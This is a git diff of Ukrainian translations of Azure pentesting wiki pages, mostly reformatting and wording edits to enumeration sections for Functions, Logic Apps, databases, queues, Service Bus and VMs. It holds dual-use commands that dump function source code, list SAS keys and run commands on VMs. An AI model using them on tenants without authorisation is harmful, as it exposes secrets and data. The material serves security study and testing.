API налаштування **`linuxFxVersion`** матиме щось на зразок: `DOCKER|mcr.microsoft.com/...`, тоді як у веб-консолі конфігурація відображатиме **image settings**. Більше того, **жоден вихідний код не буде зберігатися в обліковому записі зберігання**, пов'язаному з функцією, оскільки це не потрібно. ## Enumeration -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List all the functions az functionapp list @@ -253,11 +252,9 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func # Get source code az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```powershell Get-Command -Module Az.Functions @@ -273,9 +270,9 @@ Get-AzFunctionAppPlan -ResourceGroupName -Name # Retrieves the app settings for a specific Azure Function App. Get-AzFunctionAppSetting -Name -ResourceGroupName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} + ## Підвищення Привілеїв diff --git a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md index 7f4445aca..6115e7fcb 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md @@ -10,8 +10,8 @@ Logic Apps надає візуальний дизайнер для створе ### Приклади -- **Автоматизація даних**: Logic Apps можуть автоматизувати **процеси передачі та трансформації даних** у поєднанні з Azure Data Factory. Це корисно для створення масштабованих і надійних конвеєрів даних, які переміщують і трансформують дані між різними сховищами даних, такими як Azure SQL Database та Azure Blob Storage, що сприяє аналітиці та бізнес-інтелекту. -- **Інтеграція з Azure Functions**: Logic Apps можуть працювати разом з Azure Functions для розробки **складних, подієвих додатків, які масштабуються за потреби** та безперешкодно інтегруються з іншими сервісами Azure. Прикладом використання є використання Logic App для виклику Azure Function у відповідь на певні події, такі як зміни в обліковому записі Azure Storage, що дозволяє динамічно обробляти дані. +- **Автоматизація даних**: Logic Apps можуть автоматизувати **процеси передачі та перетворення даних** у поєднанні з Azure Data Factory. Це корисно для створення масштабованих і надійних конвеєрів даних, які переміщують і перетворюють дані між різними сховищами даних, такими як Azure SQL Database та Azure Blob Storage, що сприяє аналітиці та бізнес-інтелекту. +- **Інтеграція з Azure Functions**: Logic Apps можуть працювати разом з Azure Functions для розробки **складних, подієвих додатків, які масштабуються за потреби** та безшовно інтегруються з іншими сервісами Azure. Прикладом використання є використання Logic App для виклику Azure Function у відповідь на певні події, такі як зміни в обліковому записі Azure Storage, що дозволяє динамічно обробляти дані. ### Візуалізація LogicAPP @@ -35,17 +35,16 @@ curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e9741 Є кілька варіантів хостингу: * **Споживання** -- **Багатоорендний**: надає спільні обчислювальні ресурси, працює в публічному хмарі та дотримується моделі ціноутворення "плата за операцію". Це ідеально підходить для легких і економічних навантажень. +- **Багатоорендарний**: надає спільні обчислювальні ресурси, працює в публічному хмарі та дотримується моделі ціноутворення "плата за операцію". Це ідеально підходить для легких і економічних навантажень. * **Стандартний** - **План служби робочого процесу**: виділені обчислювальні ресурси з інтеграцією VNET для мережі та стягнення плати за кожен екземпляр плану служби робочого процесу. Він підходить для більш вимогливих навантажень, які потребують більшого контролю. - **Середовище служби додатків V3**: виділені обчислювальні ресурси з повною ізоляцією та масштабованістю. Він також інтегрується з VNET для мережі та використовує модель ціноутворення на основі екземплярів служби додатків у середовищі. Це ідеально підходить для корпоративних додатків, які потребують високої ізоляції. -- **Гібридний**: розроблений для локальної обробки та підтримки багатохмарності. Він дозволяє керованим клієнтом обчислювальним ресурсам з доступом до локальної мережі та використовує Kubernetes Event-Driven Autoscaling (KEDA). +- **Гібридний**: розроблений для локальної обробки та підтримки багатохмарності. Він дозволяє використовувати обчислювальні ресурси, керовані клієнтом, з доступом до локальної мережі та використовує Kubernetes Event-Driven Autoscaling (KEDA). ### Перерахування -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List az logic workflow list --resource-group @@ -108,11 +107,9 @@ az logicapp show --name --resource-group # List all application settings for a specific Logic App az logicapp config appsettings list --name --resource-group ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.LogicApp @@ -137,14 +134,13 @@ Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "" -LName Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name "" -TriggerName "" ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ### Інтеграційні облікові записи -**Інтеграційні облікові записи** - це функція Azure Logic Apps. Інтеграційні облікові записи використовуються для полегшення інтеграцій на рівні підприємства, забезпечуючи розширені можливості B2B, такі як EDI, AS2 та управління XML-схемами. Інтеграційні облікові записи є контейнером в Azure, який зберігає наступні артефакти, що використовуються для Logic Apps: +**Інтеграційні облікові записи** - це функція Azure Logic Apps. Інтеграційні облікові записи використовуються для полегшення інтеграцій на рівні підприємства, надаючи розширені можливості B2B, такі як EDI, AS2 та управління XML-схемами. Інтеграційні облікові записи є контейнером в Azure, який зберігає наступні артефакти, що використовуються для Logic Apps: * Схеми: Управління XML-схемами для валідації та обробки повідомлень у вашому інтеграційному обліковому записі. * Карти: Налаштування трансформацій на основі XSLT для перетворення форматів даних у ваших інтеграційних робочих процесах. @@ -157,9 +153,8 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name " @@ -219,11 +214,9 @@ az logic integration-account assembly show \ ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```powershell Get-Command -Module Az.LogicApp @@ -254,23 +247,22 @@ Get-AzIntegrationAccountPartner -ResourceGroupName -Integr # Retrieve details of a specific schema in an integration account Get-AzIntegrationAccountSchema -ResourceGroupName -IntegrationAccountName -Name ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ## Підвищення Привілеїв -Те ж саме, що і для логічних додатків: +Так само, як і privesc логічних додатків: -{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %} -[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-logic-apps-privesc.md +{{#endref}} -## Постексплуатація +## Після Експлуатації -{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %} -[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-logic-apps-post-exploitation.md +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-mysql.md b/src/pentesting-cloud/azure-security/az-services/az-mysql.md index 2bbd4c24d..12a646191 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-mysql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-mysql.md @@ -3,29 +3,28 @@ {{#include ../../../banners/hacktricks-training.md}} ## Azure MySQL -Azure Database for MySQL є повністю керованою реляційною базою даних, заснованою на MySQL Community Edition, розробленою для забезпечення масштабованості, безпеки та гнучкості для різних потреб додатків. Вона має дві різні моделі розгортання: +Azure Database for MySQL - це повністю керована реляційна база даних, заснована на MySQL Community Edition, розроблена для забезпечення масштабованості, безпеки та гнучкості для різних потреб додатків. Вона має дві різні моделі розгортання: * **Single Server** (перебуває на шляху до закриття): - Оптимізовано для економічних та легких у керуванні розгортань MySQL. - До складу входять автоматизовані резервні копії, висока доступність та базове моніторинг. - Ідеально підходить для додатків з передбачуваними навантаженнями. * **Flexible Server**: -- Надає більше контролю над управлінням базою даних та конфігурацією. -- Підтримує високу доступність (в одній зоні та зону-резервну). +- Забезпечує більше контролю над управлінням базами даних та конфігурацією. +- Підтримує високу доступність (в одній зоні та зони-резервні). - Має еластичне масштабування, управління патчами та оптимізацію навантаження. - Пропонує функціональність зупинки/запуску для економії витрат. ### Key Features -* **Server Management**: Функція **ad-admin** дозволяє керувати адміністраторами Azure Active Directory (AAD) для серверів MySQL, забезпечуючи контроль над адміністративним доступом через облікові дані AAD, тоді як функція **identity** дозволяє призначати та керувати Azure Managed Identities, пропонуючи безпечну, безоблікову аутентифікацію для доступу до ресурсів Azure. +* **Server Management**: Функція **ad-admin** дозволяє керувати адміністраторами Azure Active Directory (AAD) для серверів MySQL, забезпечуючи контроль над адміністративним доступом через облікові дані AAD, тоді як функція **identity** дозволяє призначати та керувати Azure Managed Identities, пропонуючи безпечну аутентифікацію без облікових даних для доступу до ресурсів Azure. * **Lifecycle Management**: опції для запуску або зупинки сервера, видалення екземпляра гнучкого сервера, перезавантаження сервера для швидкого застосування змін конфігурації та очікування, щоб переконатися, що сервер відповідає певним умовам перед продовженням автоматизаційних скриптів. * **Security and Networking**: може керувати правилами брандмауера сервера для безпечного доступу до бази даних та відключати конфігурації віртуальної мережі за потреби. * **Data Protection and Backup**: включає опції для управління резервними копіями гнучкого сервера для відновлення даних, виконання гео-відновлення для відновлення сервера в іншому регіоні, експорту резервних копій сервера для зовнішнього використання (в Preview) та відновлення сервера з резервної копії до певного моменту часу. ### Enumeration -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List all flexible-servers az mysql flexible-server db list --resource-group @@ -55,11 +54,9 @@ az mysql flexible-server maintenance list --resource-group az mysql flexible-server server-logs list --resource-group --server-name ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.MySql @@ -95,15 +92,12 @@ Get-AzMySqlFlexibleServerMaintenanceWindow -ResourceGroupName -ServerName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} -### Підключення +### З'єднання -З розширенням rdbms-connect ви можете отримати доступ до бази даних за допомогою: - -{% code overflow="wrap" %} +За допомогою розширення rdbms-connect ви можете отримати доступ до бази даних за допомогою: ```bash az mysql flexible-server connect -n -u -p --interactive @@ -116,17 +110,11 @@ az mysql flexible-server execute \ --querytext "SELECT * FROM ;" ``` -{% endcode %} - Або з плагіном рідного розширення MySQL -{% code overflow="wrap" %} ```bash mysql -h .mysql.database.azure.com -P 3306 -u -p ``` -{% endcode %} - -Також ви можете виконувати запити з github, але також потрібні пароль і користувач. Вам потрібно налаштувати sql файл з запитом для виконання, а потім: -{% code overflow="wrap" %} +Також ви можете виконувати запити з github, але також потрібні пароль і користувач. Вам потрібно налаштувати sql файл з запитом для виконання, а потім: ```bash # Setup az mysql flexible-server deploy setup \ @@ -145,19 +133,17 @@ az mysql flexible-server deploy run \ --action-name \ --branch ``` -{% endcode %} - ## Підвищення Привілеїв -{% content-ref url="../az-privilege-escalation/az-mysql-privesc.md" %} -[az-mysql-privesc.md](../az-privilege-escalation/az-mysql-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-mysql-privesc.md +{{#endref}} ## Після Експлуатації -{% content-ref url="../az-post-exploitation/az-mysql-post-exploitation.md" %} -[az-sql-mysql-exploitation.md](../az-post-exploitation/az-mysql-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-mysql-post-exploitation.md +{{#endref}} ## ToDo diff --git a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md index 72b975175..add2b4e05 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md @@ -3,7 +3,7 @@ {{#include ../../../banners/hacktricks-training.md}} ## Azure PostgreSQL -**Azure Database for PostgreSQL** є повністю керованою **реляційною базою даних, заснованою на PostgreSQL** Community Edition. Вона розроблена для забезпечення масштабованості, безпеки та гнучкості для різноманітних потреб додатків. Подібно до Azure MySQL, PostgreSQL пропонує дві моделі розгортання: +**Azure Database for PostgreSQL** є повністю керованою **реляційною базою даних на основі PostgreSQL** Community Edition. Вона розроблена для забезпечення масштабованості, безпеки та гнучкості для різноманітних потреб додатків. Подібно до Azure MySQL, PostgreSQL пропонує дві моделі розгортання: * **Single Server** (на етапі виведення з експлуатації): - Оптимізовано для простих, економічних розгортань PostgreSQL. @@ -15,20 +15,19 @@ - Має еластичне масштабування, автоматизоване обслуговування та функціональність для економії витрат. - Дозволяє запускати та зупиняти сервер для оптимізації витрат. -### Ключові особливості +### Key Features -* **Користувацькі вікна обслуговування**: Заплануйте оновлення, щоб мінімізувати перерви. -* **Активне моніторинг**: Доступ до детальних метрик та журналів для відстеження та покращення продуктивності бази даних. -* **Зупинка/Запуск сервера**: Користувачі можуть зупиняти та запускати сервер. -* **Автоматичні резервні копії**: Вбудовані щоденні резервні копії з періодами зберігання, які можна налаштувати до 35 днів. -* **Доступ на основі ролей**: Контролюйте дозволи користувачів та адміністративний доступ через Azure Active Directory. -* **Безпека та мережі**: можна керувати правилами брандмауера сервера для безпечного доступу до бази даних та відключати конфігурації віртуальної мережі за потреби. +* **Custom Maintenance Windows**: Заплануйте оновлення, щоб мінімізувати перерви. +* **Active Monitoring**: Отримуйте детальні метрики та журнали для відстеження та покращення продуктивності бази даних. +* **Stop/Start Server**: Користувачі можуть зупиняти та запускати сервер. +* **Automatic Backups**: Вбудовані щоденні резервні копії з періодами зберігання, які можна налаштувати до 35 днів. +* **Role-Based Access**: Контролюйте дозволи користувачів та адміністративний доступ через Azure Active Directory. +* **Security and Networking**: можна керувати правилами брандмауера сервера для безпечного доступу до бази даних та відключати конфігурації віртуальної мережі за потреби. -### Перерахування +### Enumeration -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List servers in a resource group az postgres flexible-server list --resource-group @@ -64,11 +63,9 @@ az postgres flexible-server maintenance list --resource-group --server-name ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.PostgreSql @@ -91,15 +88,12 @@ Get-AzPostgreSqlFlexibleServerLocationBasedCapability -Location Get-AzPostgreSqlServer -ResourceGroupName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} -### Підключення +### З'єднання -З розширенням rdbms-connect ви можете отримати доступ до бази даних за допомогою: - -{% code overflow="wrap" %} +За допомогою розширення rdbms-connect ви можете отримати доступ до бази даних за допомогою: ```bash az postgres flexible-server connect -n -u -p --interactive @@ -112,32 +106,27 @@ az postgres flexible-server execute \ --querytext "SELECT * FROM ;" ``` -{% endcode %} - Або -{% code overflow="wrap" %} ```bash psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser ``` -{% endcode %} +## Посилання -## References +- [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/) +- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview) +- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview) -* [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/) -* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview) -* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview) +## Підвищення привілеїв -## Привілейоване підвищення +{{#ref}} +../az-privilege-escalation/az-postgresql-privesc.md +{{#endref}} -{% content-ref url="../az-privilege-escalation/az-postgresql-privesc.md" %} -[az-postgresql-privesc.md](../az-privilege-escalation/az-postgresql-privesc.md) -{% endcontent-ref %} +## Після експлуатації -## Постексплуатація - -{% content-ref url="../az-post-exploitation/az-postgresql-post-exploitation.md" %} -[az-postgresql-post-exploitation.md](../az-post-exploitation/az-postgresql-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-postgresql-post-exploitation.md +{{#endref}} ## ToDo diff --git a/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md b/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md index 14d1c150f..894a15f72 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md +++ b/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md @@ -4,7 +4,7 @@ ## Основна інформація -Azure Queue Storage - це сервіс у хмарній платформі Microsoft Azure, призначений для чергування повідомлень між компонентами додатка, **що дозволяє асинхронну комунікацію та розділення**. Він дозволяє зберігати необмежену кількість повідомлень, кожне з яких має розмір до 64 КБ, і підтримує операції, такі як створення та видалення черг, додавання, отримання, оновлення та видалення повідомлень, а також управління метаданими та політиками доступу. Хоча зазвичай він обробляє повідомлення в порядку надходження (FIFO), строгий FIFO не гарантується. +Azure Queue Storage - це сервіс у хмарній платформі Microsoft Azure, призначений для чергування повідомлень між компонентами додатка, **дозволяючи асинхронну комунікацію та розділення**. Він дозволяє зберігати необмежену кількість повідомлень, кожне з яких має розмір до 64 КБ, і підтримує операції, такі як створення та видалення черг, додавання, отримання, оновлення та видалення повідомлень, а також управління метаданими та політиками доступу. Хоча зазвичай він обробляє повідомлення в порядку надходження (FIFO), строгий FIFO не гарантується. ### Перерахування @@ -12,19 +12,19 @@ Azure Queue Storage - це сервіс у хмарній платформі Mic {{#tab name="Az Cli" }} ```bash # You need to know the --account-name of the storage (az storage account list) -az storage queue list --account-name +az storage queue list --account-name # --auth-mode login # Queue Metadata -az storage queue metadata show --name --account-name +az storage queue metadata show --name --account-name # --auth-mode login #Get ACL -az storage queue policy list --queue-name --account-name +az storage queue policy list --queue-name --account-name # --auth-mode login # Get Messages (getting a message deletes it) -az storage message get --queue-name --account-name +az storage message get --queue-name --account-name # --auth-mode login # Peek Messages -az storage message peek --queue-name --account-name +az storage message peek --queue-name --account-name # --auth-mode login ``` {{#endtab }} @@ -64,13 +64,13 @@ $queueMessage.Value {{#endtab }} {{#endtabs }} -### Підвищення Привілеїв +### Підвищення привілеїв {{#ref}} ../az-privilege-escalation/az-queue-privesc.md {{#endref}} -### Після Експлуатації +### Після експлуатації {{#ref}} ../az-post-exploitation/az-queue-post-exploitation.md diff --git a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md index ac58293f2..3f97ba7f4 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md +++ b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md @@ -16,7 +16,7 @@ Azure Service Bus - це хмарна **служба обміну повідом - Кілька незалежних підписок отримують копії повідомлень. - Підписки можуть мати правила/фільтри для контролю доставки або додавання метаданих. - Підтримує комунікацію багато-до-багато. -3. **Namespaces:** Контейнер для всіх компонентів обміну повідомленнями, черг і тем, схожий на вашу власну частину потужного Azure кластера, що забезпечує виділену ємність і, за бажанням, охоплює три зони доступності. +3. **Namespaces:** Контейнер для всіх компонентів обміну повідомленнями, черг і тем, подібний до вашої власної частини потужного Azure кластера, що забезпечує виділену ємність і, за бажанням, охоплює три зони доступності. ### Advance Features @@ -31,11 +31,11 @@ Azure Service Bus - це хмарна **служба обміну повідом - **Filters & Actions**: Застосовує правила для фільтрації або анотації повідомлень. - **Auto-Delete on Idle**: Видаляє черги після бездіяльності (мін: 5 хвилин). - **Duplicate Detection**: Видаляє дублікати повідомлень під час повторних відправок. -- **Batch Deletion**: Масово видаляє прострочені або непотрібні повідомлення. +- **Batch Deletion**: Масове видалення прострочених або непотрібних повідомлень. ### Authorization-Rule / SAS Policy -SAS Policies визначають дозволи доступу для сутностей Azure Service Bus, простору імен (найважливіше), черг і тем. Кожна політика має такі компоненти: +SAS Policies визначають дозволи доступу для сутностей Azure Service Bus, простору імен (найважливіший), черг і тем. Кожна політика має такі компоненти: - **Permissions**: Прапорці для вказівки рівнів доступу: - Manage: Надає повний контроль над сутністю, включаючи управління конфігурацією та дозволами. @@ -51,9 +51,8 @@ sku, authrorization rule, ### Enumeration -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # Queue Enumeration az servicebus queue list --resource-group --namespace-name @@ -81,11 +80,9 @@ az servicebus queue authorization-rule list --resource-group - az servicebus topic authorization-rule list --resource-group --namespace-name --topic-name az servicebus namespace authorization-rule keys list --resource-group --namespace-name --name ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```powershell Get-Command -Module Az.ServiceBus @@ -128,9 +125,8 @@ Get-AzServiceBusSubscription -ResourceGroupName -NamespaceNa # Retrieves details of a specified topic in a Service Bus namespace. Get-AzServiceBusTopic -ResourceGroupName -NamespaceName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ### Підвищення Привілеїв @@ -147,8 +143,8 @@ Get-AzServiceBusTopic -ResourceGroupName -NamespaceName -ResourceGroupName **VM-образ** - це шаблон, який містить операційну систему, налаштування додатків та файлову систему, необхідні для **створення нової віртуальної машини (VM)**. Різниця між образом і знімком диска полягає в тому, що знімок диска є лише для читання, точковою копією одного керованого диска, що використовується в основному для резервного копіювання або усунення несправностей, тоді як образ може містити **кілька дисків і призначений для використання як шаблон для створення нових VM**.\ Зображення можна керувати в **розділі Зображення** Azure або в **галереях обчислень Azure**, що дозволяє генерувати **версії** та **ділитися** образом між орендарями або навіть зробити його публічним. -**Точка відновлення** зберігає конфігурацію VM та **точкові** знімки, що відповідають додаткам, **всіх керованих дисків**, підключених до VM. Вона пов'язана з VM, і її мета - мати можливість відновити цю VM до стану, в якому вона була в той конкретний момент. +**Точка відновлення** зберігає конфігурацію VM та **точкові** знімки, що відповідають додаткам, **всіх керованих дисків**, підключених до VM. Вона пов'язана з VM, і її мета полягає в тому, щоб мати можливість відновити цю VM до стану, в якому вона була в цей конкретний момент. {{#tabs}} {{#tab name="az cli"}} @@ -150,7 +150,7 @@ Get-AzRestorePointCollection -Name -ResourceGroupName -ResourceGroupName ``` +{{#endtab }} +{{#endtabs }} + ## Виконання коду у ВМ ### Розширення ВМ @@ -603,13 +611,13 @@ Set-AzVMDscExtension ` Гібридний робочий процес -Це розширення VM, яке дозволяє виконувати робочі процеси у VM з облікового запису автоматизації. Для отримання додаткової інформації перегляньте службу [Облікові записи автоматизації](../az-automation-account/index.html). +Це розширення VM, яке дозволяє виконувати робочі процеси у VM з облікового запису автоматизації. Для отримання додаткової інформації перегляньте службу [Automation Accounts](../az-automation-account/index.html).
### Застосунки VM -Це пакети з усіма **даними програми та скриптами для встановлення та видалення**, які можна використовувати для легкого додавання та видалення програм у VM. +Це пакети з усіма **даними додатків та скриптами для встановлення та видалення**, які можна використовувати для легкого додавання та видалення додатків у VM. ```bash # List all galleries in resource group az sig list --resource-group --output table @@ -730,7 +738,7 @@ az vm application set \ - У **Windows** користувацькі дані розміщуються в `%SYSTEMDRIVE%\AzureData\CustomData.bin` як бінарний файл і не обробляються. - У **Linux** вони зберігалися в `/var/lib/waagent/ovf-env.xml`, а тепер зберігаються в `/var/lib/waagent/CustomData/ovf-env.xml` - **Агент Linux**: За замовчуванням не обробляє користувацькі дані, потрібен користувацький образ з увімкненими даними -- **cloud-init:** За замовчуванням обробляє користувацькі дані, і ці дані можуть бути в [**декількох форматах**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Він може легко виконати скрипт, просто надіславши його в користувацьких даних. +- **cloud-init:** За замовчуванням обробляє користувацькі дані, і ці дані можуть бути в [**кількох форматах**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Він може легко виконати скрипт, просто надіславши його в користувацьких даних. - Я спробував, щоб і Ubuntu, і Debian виконували скрипт, який ви помістили сюди. - Також не потрібно активувати дані користувача для виконання цього. ```bash @@ -739,7 +747,7 @@ echo "Hello World" > /var/tmp/output.txt ``` ### **Запустити команду** -Це найосновніший механізм, який Azure надає для **виконання довільних команд у ВМ**. Необхідне дозволення - `Microsoft.Compute/virtualMachines/runCommand/action`. +Це найосновніший механізм, який Azure надає для **виконання довільних команд у ВМ**. Необхідне дозволи - `Microsoft.Compute/virtualMachines/runCommand/action`. {{#tabs }} {{#tab name="Linux" }} diff --git a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md index 864c80b1d..630fdc0fa 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md @@ -95,15 +95,16 @@ Azure Firewall - це **керована служба мережевої без Він доступний у трьох SKU—**Basic**, **Standard** та **Premium**, кожен з яких адаптований до специфічних потреб клієнтів: -| **Рекомендований випадок використання** | Малі/середні підприємства (SMB) з обмеженими потребами | Загальне підприємницьке використання, фільтрація рівнів 3–7 | Дуже чутливі середовища (наприклад, обробка платежів) | -| ---------------------------------------- | ----------------------------------------------------- | --------------------------------------------------------- | ----------------------------------------------------- | -| **Продуктивність** | До 250 Мбіт/с пропускна здатність | До 30 Гбіт/с пропускна здатність | До 100 Гбіт/с пропускна здатність | -| **Розвідка загроз** | Лише сповіщення | Сповіщення та блокування (зловмисні IP/домени) | Сповіщення та блокування (розширена розвідка загроз) | -| **Фільтрація L3–L7** | Основна фільтрація | Станова фільтрація через протоколи | Станова фільтрація з розширеною перевіркою | -| **Розширений захист від загроз** | Не доступно | Фільтрація на основі розвідки загроз | Включає систему виявлення та запобігання вторгненням (IDPS) | -| **Перевірка TLS** | Не доступно | Не доступно | Підтримує вхідну/вихідну термінацію TLS | -| **Доступність** | Фіксований бекенд (2 ВМ) | Автоматичне масштабування | Автоматичне масштабування | -| **Легкість управління** | Основні елементи управління | Керування через Firewall Manager | Керування через Firewall Manager | +| Критерії/Функції | Варіант 1 | Варіант 2 | Варіант 3 | +| ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- | +| **Рекомендований випадок використання** | Малі/середні підприємства (SMBs) з обмеженими потребами | Загальне підприємницьке використання, фільтрація рівнів 3–7 | Високочутливі середовища (наприклад, обробка платежів) | +| **Продуктивність** | До 250 Мбіт/с | До 30 Гбіт/с | До 100 Гбіт/с | +| **Інформація про загрози** | Лише сповіщення | Сповіщення та блокування (зловмисні IP/домени) | Сповіщення та блокування (розширена інформація про загрози) | +| **Фільтрація L3–L7** | Основна фільтрація | Станова фільтрація через протоколи | Станова фільтрація з розширеною перевіркою | +| **Розширений захист від загроз** | Не доступно | Фільтрація на основі інформації про загрози | Включає систему виявлення та запобігання вторгненням (IDPS) | +| **Перевірка TLS** | Не доступно | Не доступно | Підтримує термінацію вхідного/вихідного TLS | +| **Доступність** | Фіксований бекенд (2 ВМ) | Автоматичне масштабування | Автоматичне масштабування | +| **Легкість управління** | Основні елементи управління | Керування через Firewall Manager | Керування через Firewall Manager | ### Enumeration @@ -171,7 +172,7 @@ Get-AzRouteTable ## Azure Private Link -Azure Private Link - це сервіс в Azure, який **дозволяє приватний доступ до сервісів Azure**, забезпечуючи, що **трафік між вашою віртуальною мережею Azure (VNet) та сервісом проходить повністю в межах мережі Microsoft Azure**. Це ефективно інтегрує сервіс у вашу VNet. Така конфігурація підвищує безпеку, не піддаючи дані публічному інтернету. +Azure Private Link - це сервіс в Azure, який **дозволяє приватний доступ до сервісів Azure**, забезпечуючи, що **трафік між вашою віртуальною мережею Azure (VNet) та сервісом повністю проходить через мережу Microsoft Azure**. Це ефективно інтегрує сервіс у вашу VNet. Така конфігурація підвищує безпеку, не піддаючи дані публічному інтернету. Private Link можна використовувати з різними сервісами Azure, такими як Azure Storage, Azure SQL Database та користувацькими сервісами, які діляться через Private Link. Це забезпечує безпечний спосіб споживання сервісів з вашої власної VNet або навіть з різних підписок Azure. @@ -180,7 +181,7 @@ Private Link можна використовувати з різними сер **Приклад:** -Розгляньте сценарій, коли у вас є **Azure SQL Database, до якої ви хочете отримати безпечний доступ з вашої VNet**. Зазвичай це може включати перетворення через публічний інтернет. З Private Link ви можете створити **приватну кінцеву точку у вашій VNet**, яка безпосередньо підключається до сервісу Azure SQL Database. Ця кінцева точка робить базу даних такою, що вона виглядає як частина вашої власної VNet, доступна через приватну IP-адресу, що забезпечує безпечний і приватний доступ. +Розгляньте сценарій, коли у вас є **Azure SQL Database, до якої ви хочете отримати безпечний доступ з вашої VNet**. Зазвичай це може включати проходження через публічний інтернет. З Private Link ви можете створити **приватну кінцеву точку у вашій VNet**, яка безпосередньо підключається до сервісу Azure SQL Database. Ця кінцева точка робить базу даних такою, що вона виглядає як частина вашої власної VNet, доступна через приватну IP-адресу, що забезпечує безпечний і приватний доступ. ### **Enumeration** @@ -211,7 +212,7 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private **Приклад:** -Наприклад, обліковий запис **Azure Storage** за замовчуванням доступний через публічний інтернет. Увімкнувши **точку доступу сервісу для Azure Storage у вашій VNet**, ви можете забезпечити, що лише трафік з вашої VNet може отримати доступ до облікового запису зберігання. Брандмауер облікового запису зберігання можна 